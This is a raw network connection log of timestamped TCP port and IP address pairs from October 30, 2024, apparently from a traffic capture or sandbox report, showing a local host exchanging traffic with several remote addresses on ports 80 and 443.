Oct 30, 2024 04:34:40.322949886 CET	51017	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.323220015 CET	51017	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.323259115 CET	443	51017	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.323282957 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.323297024 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.323307991 CET	51017	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.323338032 CET	443	51017	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.323355913 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.323367119 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.323379040 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.323395967 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.323427916 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.323568106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.323580027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.323590994 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.323642015 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.323873997 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.323919058 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.323930025 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.323983908 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.324213028 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.324260950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.324265003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.324279070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.324317932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.324328899 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.324328899 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.324359894 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.324389935 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.325571060 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.325582981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.325592995 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.325720072 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.325721025 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.327126026 CET	51033	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.327163935 CET	443	51033	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.327270031 CET	51033	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.327419043 CET	51033	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.327435017 CET	443	51033	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.336868048 CET	443	51022	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.337233067 CET	51022	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.337254047 CET	443	51022	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.337702990 CET	51022	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.337707996 CET	443	51022	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.348048925 CET	443	51019	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.348206997 CET	443	51019	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.348336935 CET	51019	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.348373890 CET	51019	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.348373890 CET	51019	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.348393917 CET	443	51019	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.348414898 CET	443	51019	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.350951910 CET	51034	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.351003885 CET	443	51034	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.351087093 CET	51034	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.351236105 CET	51034	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.351265907 CET	443	51034	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.357198954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.357225895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.357235909 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.357290030 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.384155989 CET	443	51018	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.384218931 CET	443	51018	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.384341002 CET	443	51018	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.384377003 CET	51018	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.384416103 CET	51018	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.384464979 CET	51018	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.384480953 CET	443	51018	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.384495974 CET	51018	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.384500980 CET	443	51018	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.388241053 CET	51035	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.388264894 CET	443	51035	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.388695002 CET	51035	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.388824940 CET	51035	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.388838053 CET	443	51035	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.397963047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.397989988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.398008108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.398067951 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.446640015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.446676016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.446686983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.446711063 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.446744919 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.446794987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.446830988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.446841955 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.446876049 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.446928978 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.447160959 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.447170973 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.447227955 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.447290897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.447364092 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.447376966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.447426081 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.447432041 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.447446108 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.447516918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.448026896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.448038101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.448098898 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.448148966 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.448194027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.448204994 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.448208094 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.448234081 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.448266029 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.465993881 CET	443	51022	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.466167927 CET	443	51022	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.466350079 CET	51022	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.466880083 CET	51022	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.466885090 CET	443	51022	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.466893911 CET	51022	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.466897964 CET	443	51022	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.469834089 CET	51036	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.469849110 CET	443	51036	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.469908953 CET	51036	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.470180988 CET	51036	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:40.470192909 CET	443	51036	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:40.480441093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.480458021 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.480468988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.480520964 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.480566025 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.484445095 CET	443	51025	23.221.22.209	192.168.2.6
Oct 30, 2024 04:34:40.484888077 CET	51025	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:40.484895945 CET	443	51025	23.221.22.209	192.168.2.6
Oct 30, 2024 04:34:40.485956907 CET	443	51025	23.221.22.209	192.168.2.6
Oct 30, 2024 04:34:40.486028910 CET	51025	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:40.486954927 CET	51025	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:40.487016916 CET	443	51025	23.221.22.209	192.168.2.6
Oct 30, 2024 04:34:40.488961935 CET	443	51024	23.221.22.209	192.168.2.6
Oct 30, 2024 04:34:40.490977049 CET	51024	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:40.490986109 CET	443	51024	23.221.22.209	192.168.2.6
Oct 30, 2024 04:34:40.491539955 CET	443	51024	23.221.22.209	192.168.2.6
Oct 30, 2024 04:34:40.491853952 CET	51024	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:40.491936922 CET	443	51024	23.221.22.209	192.168.2.6
Oct 30, 2024 04:34:40.521018028 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.521043062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.521053076 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.521122932 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.521163940 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.525377035 CET	443	51023	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.525599003 CET	51023	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.525609970 CET	443	51023	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.526057959 CET	443	51023	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.526356936 CET	51023	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.526433945 CET	443	51023	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.526546955 CET	51023	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.560883045 CET	51024	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:40.569777012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.569804907 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.569817066 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.569905043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.569905043 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.569937944 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.569948912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.569984913 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.570110083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.570121050 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.570164919 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.570250034 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.570266008 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.570307970 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.570424080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.570444107 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.570482016 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.570568085 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.570590973 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.570602894 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.570657015 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.570890903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.570935965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.570945978 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.570947886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.570975065 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.570981979 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.571001053 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.571331978 CET	443	51023	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.571386099 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.571388006 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.571429968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.571441889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.571476936 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.603641033 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.603657961 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.603673935 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.603682995 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.603718042 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.603765011 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.625119925 CET	51025	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:40.625127077 CET	443	51025	23.221.22.209	192.168.2.6
Oct 30, 2024 04:34:40.625157118 CET	51023	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.644253016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.644263029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.644323111 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.644330025 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.644332886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.644603968 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.693164110 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.693197012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.693209887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.693268061 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.693279982 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.693368912 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.693370104 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.693370104 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.693598032 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.693654060 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.693654060 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.693671942 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.693690062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.693742037 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.693825006 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.693882942 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.693892956 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.693936110 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.693936110 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.693967104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.693978071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.694145918 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.694442034 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.694453955 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.694463968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.694494963 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.694526911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.694700003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.694713116 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.694724083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.694767952 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.726921082 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.727041960 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.727134943 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.727147102 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.727190018 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.736119986 CET	51025	443	192.168.2.6	23.221.22.209
Oct 30, 2024 04:34:40.767558098 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.767581940 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.767599106 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.767611027 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.767640114 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.767674923 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.807359934 CET	443	51031	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.807699919 CET	51031	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.807718992 CET	443	51031	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.808789968 CET	443	51031	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.808847904 CET	51031	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.810395002 CET	51031	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.810475111 CET	443	51031	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.810635090 CET	51031	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.822712898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.822756052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.822767973 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.822793007 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.822822094 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.822835922 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.822848082 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.822858095 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.822870016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.822897911 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.822912931 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.822987080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.822999001 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.823009968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.823019981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.823028088 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.823031902 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.823038101 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.823066950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.823084116 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.823116064 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.823127985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.823137999 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.823149920 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.823167086 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.823194981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.823725939 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.823785067 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.824170113 CET	443	51027	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.825021982 CET	443	51030	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.825709105 CET	51027	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.825754881 CET	443	51027	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.825927019 CET	51030	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.825939894 CET	443	51030	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.826237917 CET	443	51027	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.827404022 CET	443	51030	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.827459097 CET	51030	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.827697992 CET	51027	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.827795982 CET	443	51027	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.827966928 CET	51030	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.828044891 CET	443	51030	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.828108072 CET	51027	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.828152895 CET	51030	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.828160048 CET	443	51030	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.841192961 CET	443	51029	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.843585968 CET	51029	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.843596935 CET	443	51029	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.845067978 CET	443	51029	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.845143080 CET	51029	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.845633030 CET	51029	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.845719099 CET	443	51029	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.846067905 CET	51029	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.846076012 CET	443	51029	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.850512981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.850565910 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.850578070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.850617886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.850630045 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.850687027 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.850732088 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.855328083 CET	443	51031	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.861052990 CET	51038	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:40.861073971 CET	443	51038	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:40.861239910 CET	51038	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:40.861547947 CET	51038	443	192.168.2.6	20.75.60.91
Oct 30, 2024 04:34:40.861557961 CET	443	51038	20.75.60.91	192.168.2.6
Oct 30, 2024 04:34:40.872613907 CET	51030	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.875333071 CET	443	51027	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.890805006 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.890846014 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.890860081 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.890924931 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.890964985 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:40.891278028 CET	443	51028	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.893049955 CET	51028	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.893060923 CET	443	51028	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.894119024 CET	443	51028	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.894196033 CET	51028	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.894866943 CET	51028	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.894927979 CET	443	51028	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.894990921 CET	51028	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.935338974 CET	443	51028	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.936145067 CET	51031	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.936155081 CET	443	51031	13.107.246.57	192.168.2.6
Oct 30, 2024 04:34:40.936181068 CET	51029	443	192.168.2.6	13.107.246.57
Oct 30, 2024 04:34:40.945171118 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.945188046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.945199013 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.945250988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:40.945262909 CET	50987	80	192.168.2.6	185.215.113.206
